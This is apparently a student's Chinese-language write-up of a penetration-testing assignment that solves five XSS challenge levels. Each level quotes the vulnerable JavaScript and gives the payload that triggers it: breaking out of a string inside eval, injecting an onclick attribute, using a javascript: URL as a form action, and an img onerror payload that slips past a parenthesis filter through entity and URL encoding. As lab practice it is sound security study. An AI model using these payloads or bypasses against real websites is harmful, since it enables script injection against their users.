渗透第三次作业

目录

第一关Ma Spaghet!

第二关Jefff:

第三关:Ugandan Knuckles

第四关:Ricardo Milos

第五关: Ah That's Hawt


第一关Ma Spaghet!
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

(new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!" 这里的意思为获取url中的get参数somebody,如果有那么就设置h2的值为get参数的值,如果没有则设置h2的值为Somebody") + " Toucha Ma Spaghet!

(1):当get参数中存在somebody时,h2回显

(2):当get参数中不存在somebody时,h2回显

第二关Jefff:
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)    ---其中的动作为给变量ma赋值。
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>
eval  ---js中的一个执行函数。
setTimeout  ---定时器,上面表示在1秒后执行定时器中的动作。
 

 尝试闭合双引号,之后在其中闭合单引号。所以我们需要在传递的变量jeff上做。

jeff=asd" ;alert(12);//
 
eval(`ma = "Ma name asd" ;alert(12);//"`)    

我们可以看到,传递的值jeff=asd" ;alert(12);// 时就会弹窗,说明这里存在DOM型xss的漏洞

第三关:Ugandan Knuckles
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

wey = wey.replace(/[<>]/g, '') ----- 过滤了 < 和 > ;

解决方法:

闭合双引号。

wey=asd" onclick="alert(12)

第四关:Ricardo Milos
<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
 

通过URL中的JavaScript伪协议来执行XSS,URL查询参数ricardo作为注入点

ricardo=javascript:alert(12)

第五关: Ah That's Hawt
<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>
 
 
markassbrownlee=<img src=1 onerror="alert(1)">

传递的参数在url中,所以如果我们直接将(1)进行urlcode编码浏览器传递给smith时会自动解码,但是在url中要遵守url规则,不能直接传递实体编码。

所以我们可以先将(1)进行实体编码,再对实体编码进行urlcode编码

markassbrownlee=<img src=1 onerror="alert(1)">
实体编码:
markassbrownlee=<img src=1 onerror="alert&#x0028;&#x0031;&#x0029;">
urlcode编码:
markassbrownlee=<img src=1 onerror="alert%26%23x0028%3B%26%23x0031%3B%26%23x0029%3B">
 
当参数在url中传递过去后会解码,漏出实体编码,实体编码就可以绕过过滤传递给h2正常执行。

传递参数进去:发现此时就可以进行弹窗了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值